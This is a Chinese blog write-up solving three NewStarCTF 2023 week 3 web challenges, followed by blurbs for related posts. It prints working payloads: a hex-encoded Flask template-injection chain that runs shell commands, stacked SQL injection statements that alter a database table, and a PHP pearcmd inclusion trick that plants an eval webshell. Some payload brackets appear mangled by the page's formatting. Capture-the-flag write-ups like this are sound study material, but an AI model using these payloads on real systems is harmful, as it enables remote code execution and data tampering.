NewStarCTF week 3 web wp

[wp]NewStarCTF 2023 WEEK3|WEB 本文为NewStarCTF 2023 WEEK3|WEB部分题解内容 只记录自己学习的过程,各位师傅可参考指出问题 阅读详情

**

BabySSTI_One

**

在这里插入图片描述
这样能解析应该是python的flask ssti

这里一开始试了直接引号拼接 但是发现都不能成功后面想了想尝试
十六进制编码
大概是这么个写法
{{‘’.__class__.__base__.__subclasses__()[64].__init__.__globals__[‘__builtins__’][‘__import__’](‘os’).popen(‘ls’).read()}}
在这里插入图片描述也就是说我们是可以
{{‘’.__class__}} 写成{{‘’[‘__class__’]}}
然后用hex编码
{{‘’[‘\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f’][‘\x5f\x5f\x62\x61\x73\x65\x5f\x5f’]‘\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f’[64][‘\x5f\x5f\x69\x6e\x69\x74\x5f\x5f’][‘\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f’][‘\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f’]‘\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f’‘\x70\x6f\x70\x65\x6e’‘\x72\x65\x61\x64’}}我们来测试一下
在这里插入图片描述最后payload:
{{‘’[‘\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f’][‘\x5f\x5f\x62\x61\x73\x65\x5f\x5f’]‘\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f’[64][‘\x5f\x5f\x69\x6e\x69\x74\x5f\x5f’][‘\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f’][‘\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f’]‘\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f’[‘\x70\x6f\x70\x65\x6e’](‘tac /fla*’)‘\x72\x65\x61\x64’}}

**

multiSQL

**

进去后看这个sql注入的样子就有点像堆叠0.0

输入1’;show tables;#
在这里插入图片描述果然是堆叠
在这里插入图片描述
在这里插入图片描述select被禁了这里采用 handler做一个句柄去读取这张表
写法
handler tablename open;handler tablename read first;
然后想着flag在哪看到提醒
在这里插入图片描述改个成绩吧
1’;set @a=concat(‘up’,‘date score set listen=120;’);prepare d from @a;execute d;#
在这里插入图片描述
改掉了
在这里插入图片描述

**

IncludeTwo

**
在这里插入图片描述他包含了$file 但是会在后面加上.php 然后就开始想文件包含的利用方式有裸文件包含,但是不知道文件名,伪协议 但是这里用不起来 ,session上传包含,堆栈清空包含这些都试过但是没效果,最后找到了这么一篇文章

p神博客

大部分都是转载自p神博客的,不得不说p神真是个顶级大牛。

写法
?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=@eval($_POST['a']);?>+/tmp/test.php
然后连接就行

连接 ?file=/tmp/test

最后一道TP链的先自己审一遍tp框架后再给出不然直接利用别人的tp链感觉什么都学不到

[wp]NewStarCTF 2023 WEEK1|WEB 本文为NewStarCTF 2023 web 的解题思路过程解法 阅读详情

相关推荐

用户消费行为分析(MapReduce实现,Hive分析)

一、题目要求 数据来自CDNow网站的一份用户购买CD明细,本数据集共有 6 万条 左右数据,数据为 CDNow 网站 1997年1月至1998年6月的用户行为 数据

紫烟的博客 3014

NewStar BabySSTI_One【web系列】

ssti类型的题首先就是找注入点,其次判断为什么类型的注入,最后通过替换关键词和字符串拼接等等达到绕过waf的目的,不过这类题的姿势还是很多的需要我们在练习的过程中不断积累。

shutTD的博客 1619

从MCU到MPU:瑞萨RZN2L上手初体验,给Cortex-M工程师的Cortex-R52入门避坑指南

本文详细介绍了从MCU到MPU的过渡经验,特别是瑞萨RZN2L开发板的实战避坑指南。针对Cortex-M工程师转向Cortex-R52内核的挑战,文章深入解析了启动流程、内存管理、中断响应等九大本质差异,并提供了硬件设计陷阱和软件迁移的实用技巧,帮助开发者快速适应MPU开发环境。

weixin_29158413的博客 258

ssti刷刷刷

测试发现过滤关键字,但是特殊符号中括号、双引号、点都能用可以考虑拼接或者编码,这里使用拼接直接命令执行根目录下。

2401_88743143的博客 495

FitzHugh-Nagumo 模型连续-MATLAB仿真

【代码】FitzHugh-Nagumo 模型连续-MATLAB仿真。

qq_43688618的博客 884

opencv基础57-模板匹配cv2.matchTemplate()->(目标检测、图像识别、特征提取)

OpenCV 提供了模板匹配(Template Matching)的功能,它允许你在图像中寻找特定模板(小图像)在目标图像中的匹配位置。模板匹配在计算机视觉中用于目标检测、图像识别、特征提取等领域。: 首先,加载目标图像和要匹配的模板图像。: 选择适当的匹配方法,例如 cv2.TM_CCOEFF、cv2.TM_CCOEFF_NORMED、cv2.TM_CCORR、cv2.TM_CCORR_NORMED、cv2.TM_SQDIFF 或 cv2.TM_SQDIFF_NORMED。每种方法对应不同的匹配计算方式。

小海聊智造 1万+

【Web】NewStarCTF 2022 题解(全)

响应头进行Set-Cookie,显然一个base64编码,所以打入的时候也要base64encode一下。对关键词有过滤,无法大小写绕过,测出select,update,insert和union都被ban了。之前刷NSSRound赛的时候多次碰到Apache/2.4.49的RCE漏洞,这题也是现搜就完了。访问/upload/base64yjh.png,连蚁剑,读/flag。主要是空格的处理,/**/和/*关键字*/都被ban了,可以用%0c。抓包,看响应头,看到是Apache/2.4.50。

uuzeray的博客 3554

零基础也能搞定!华为USG6000V防火墙WEB管理界面开启教程

本文详细介绍了华为USG6000V防火墙WEB管理界面的开启教程,从环境准备、网络配置到防火墙初始化,逐步指导用户完成图形化管理界面的搭建。特别适合零基础用户快速掌握企业级防火墙的可视化操作,提升安全管理效率。

grape的博客 787

NewStarCTF 公开赛赛道week3 web writeup

里面完全的没有验证,而且应该是一个简单的判断,判断成绩是否达到了425分,那么应该是使用update更新数据库信息,让火华师傅的成绩大于425即可。这里提供两种方法,一种是用replace into替换掉update,也可以使用预编译的方式。但是点击没用查询火华的成绩时候,出现两个火华,应该是多了直接删除即可。接着直接访问文件就能RCE(用bp发包,否则这里的符号会被编码)而刚进入的页面是有一个可点击的页面进去看下verify.php。题目名字可以看出来,多SQL,堆叠注入。直接拉网上的exp打。

your_friends的博客 1796

深入解析进化算法中的选择与多样性

在计算科学的世界里,最优雅的解决方案往往源于最古老的智慧——大自然。进化算法(Evolutionary Algorithms, EAs)正是这样一种受达尔文自然选择学说启发的强大工具。它们通过模拟“适者生存”的过程,在庞大的可能性海洋中搜寻最优解。。:指的是深入挖掘和优化已知的优质解。这就像在一片已知的沃土上精耕细作,力求获得最高产量。强大的选择压力会促进这一过程。:指的是在整个搜索空间中寻找全新的、可能更优的解。这好比派遣探险队去发现新大陆,充满了未知与机遇。保持种群的多样性是探索的关键。

weixin_62533513的博客 717

电工识图入门:从电气符号到控制逻辑的完整指南

电工图纸是电气工程领域的通用语言,无论是设备安装、线路检修还是系统设计,看不懂图纸就像航海没有海图。很多初学者面对复杂的电气符号和线路走向感到无从下手,实际上只要掌握正确的识图方法,就能从简单的照明电路逐步过渡到复杂的自动化控制系统。 本文将从最基础的电气符号和图纸类型讲起,通过实际图纸案例解析,带你建立完整的识图逻辑。你将学会如何区分主回路和控制回路,如何追踪电流路径,以及如何结合图纸进行故障排查。无论你是电工新手、设备维护人员还是相关专业学生,这套方法都能帮你快速提升图纸理解能力。 1. 电气图纸基础:

chengyixian7877的博客 338

BUUCTF NewStarCTF 公开赛赛道Week3 Writeup

BUUCTF NewStarCTF 公开赛赛道Week3 Writeup

末初 · mochu7 7482

基于simulink的多能源系统协同控制的复杂场景实例:氢燃料电池+锂电池混合动力电动汽车能量管理仿真

本文介绍了基于Simulink的氢燃料电池与锂电池混合动力电动汽车能量管理系统的建模与仿真方法。系统包含驾驶循环输入、氢燃料电池、锂电池、能量管理和电机驱动等模块,通过Simulink实现各模块的协同控制。文章详细说明了从模型创建到性能评估的完整流程,包括驾驶循环输入设置、燃料电池和锂电池子系统建模、能量管理策略设计等关键步骤。该仿真模型可验证不同工况下的系统响应和能量利用效率,为优化混合动力汽车的能量管理策略提供有效工具。通过引入更复杂的物理细节和环境因素,可进一步提升模型的实用性和准确性。

xiaoheshang_123的博客 368

NewStarCTF2024-Week3-Web-WP

使用 data 协议,结合 base64 编码绕过。这道题当时写的 exp 能打通 week3 和 week4 的,所以下周再给大家放出来。审代码的时候发现这句,说明应该是还有一个叫 flag.py 的文件

Welcome To My6n Blog 1855

霍尼韦尔SoftMaster使用说明

霍尼韦尔SoftMaster使用说明

win10 跳过U8环境检测的IE WebControls.rar

win10 安装u8的时候 提示IE WebControls 不通过,这个工具可以欺骗u8的检查。 跳过U8环境检测的IE WebControls。提示导入失败后,重新检测通过。

NewStarCTF week3 WP

ida打开,scanf溢出了,但是只能输入整数,又开启了Canary保护,这该如何是好呢?突发奇想,scanf读到非数字就不读了,非数字仍然留在输入缓冲区,导致后面的都读不了,加入我输入负号呢,scanf本来以为是负数,就把负号读了,结果后面全是负号怎么办,那只能报错了,可是前面读了的负号已经从缓冲区移出去了呀!导入ida打开,看不懂,好在题目给了提示,ida下载d810的插件,解混淆之后虽然还有点抽象,但是能看懂一点了大概就是输入v10,判断函数sub_3B30的返回值是否正确。

weixin_73924291的博客 760

复分析 阿尔福斯(Ahlfors) 第三版答案 英文

答案分为十章,有部分习题没有答案,全英文复分析阿尔福斯(Ahlfors) 第三版答案

NewstarCTF 2023 misc&web wp

NewstarCTF 2023 misc&web 部分wp

Nanian233的博客 9209

visio安装包

Microsoft Office Visio 是一款专业的制图软件。利用经过更新的形状、协作工具和数据链接图表,创建专业级图表以简化复杂的信息。

BUUCTF NewStarCTF 2023 WEB题week2WP

首先发现文件扩展名过滤很严格,各种绕过基本都不行,同时题目还对文件内容进行检测,选择使用这种一句话木马<script language="php">@eval($_POST['cmd']);首先页面上说找信息,所以dirsearch一下,发现有git泄露,使用GitHack工具获取源码,发现一个bo0g1pop.php。可以直接搜索score,发现gameScore,可能就是我们要找的那个可修改的参数,然后在控制台中修改。访问上传路径,发现php语言被解析了,大概率是成功了,AHs和AH0是flag的{}

xinlvluxiangyu的博客 690

NewStarCTF week2 WP

攻击思路就是利用好for的三次循环,第一次循环%order$p读取puts函数的got表项,进而得到libc的基地址,第二次循环利用libc的基地址得到system的真实地址,并%order$n写入到memset的got表项,第三次循环向buf写入字符串"/bin/sh",然后调用memset实际是调用shell。发现每次输入存在buf里的时候是向栈地址增大的时候存的,这样虽然无法覆盖main,但是会把read函数的返回地址覆盖,于是payload=b'a'*256+ret_addr。

weixin_73924291的博客 1943

NewStarCTF2024-week1-wp

原文链接:https://www.n0o0b.com/archives/newstarctf2024-week1-wp。

2303_79553403的博客 2982

2023 NewStarCTF --- wp

【活着得,怎么就轻松惬意了,无需愧疚。】

3tefanie的博客 4475

NewStarCTF2024-Week4-Web-WP

打算去改上周的脚本,结果去跑的时候忘了将上次的最后 payload 注释,直接就上周的脚本就跑出来 flag 了,week3 应该是打算考布尔盲注,week4 是时间盲注,所以直接就都打通了。最后 final.php 是一个反序列化的利用,一开始还想绕过过滤的 chocolate,后面发现不需要绕过,并且 url 编码后传入不行,直接传序列化后的内容。又看到另一个下载插件路径可控的,但是插件管理里面并没有看到可以下载插件的地方, 手动构造一下,但是似乎出不了网...

Welcome To My6n Blog 2657

NewStarCTF week5 web wp

题解

trytowritecode的博客 1437

[wp]NewStarCTF 2023 WEEK4|WEB

本文为[wp]NewStarCTF 2023 WEEK4|WEB 的解题思路

m0_63138919的博客 1488

NewStarCTF2024-Week2-Web-WP

在 PHP8 之前,如果参数中出现中括号[,那么中括号会被转换成下划线_,但是会出现转换错误,导致如果参数名后面还存在非法字符,则不会继续转换成下划线。也就是说,我们可以刻意拼接中括号制造这种错误,来保留后面的非法字符不被替换,因为中括号导致只会替换一次。顺便说下这里回溯绕过和数组绕过都是不行的,回溯一般用于匹配不到的情况,这里是要求匹配成功,其次我传了下服务器直接处理不了,数组的话也是一般用于匹配不到,因为 preg_match 处理不了数组会直接返回 false,显然这里需要的是返回 true。

Welcome To My6n Blog 2186

NewStarCTF 2022 web方向题解 wp

NewStarCTF 2022 web方向题解 wp

Jay17的博客 3641

NewStarCTF2025-Week3-Web

本文总结了多个CTF题目的解题思路:1.通过file协议直接读取flag.php;2.使用URL编码和rot13绕过过滤读取flag;3.利用备份文件泄露信息找到flag;4.通过配置文件将.webp解析为PHP执行命令;5.布尔盲注技巧获取flag,需绕过空格过滤;6.SSTI漏洞利用Jinja2模板注入执行函数。每个题目都展示了不同的Web安全漏洞利用方式,涉及文件读取、编码绕过、信息泄露、命令执行、SQL注入和模板注入等技术。

Welcome To My6n Blog 1157
上一篇: DASCTF X GFCTF 2022十月挑战赛!
下一篇: NewStarCTF week5 web wp
递归 trash can
博客等级 码龄6年 46粉丝 11原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值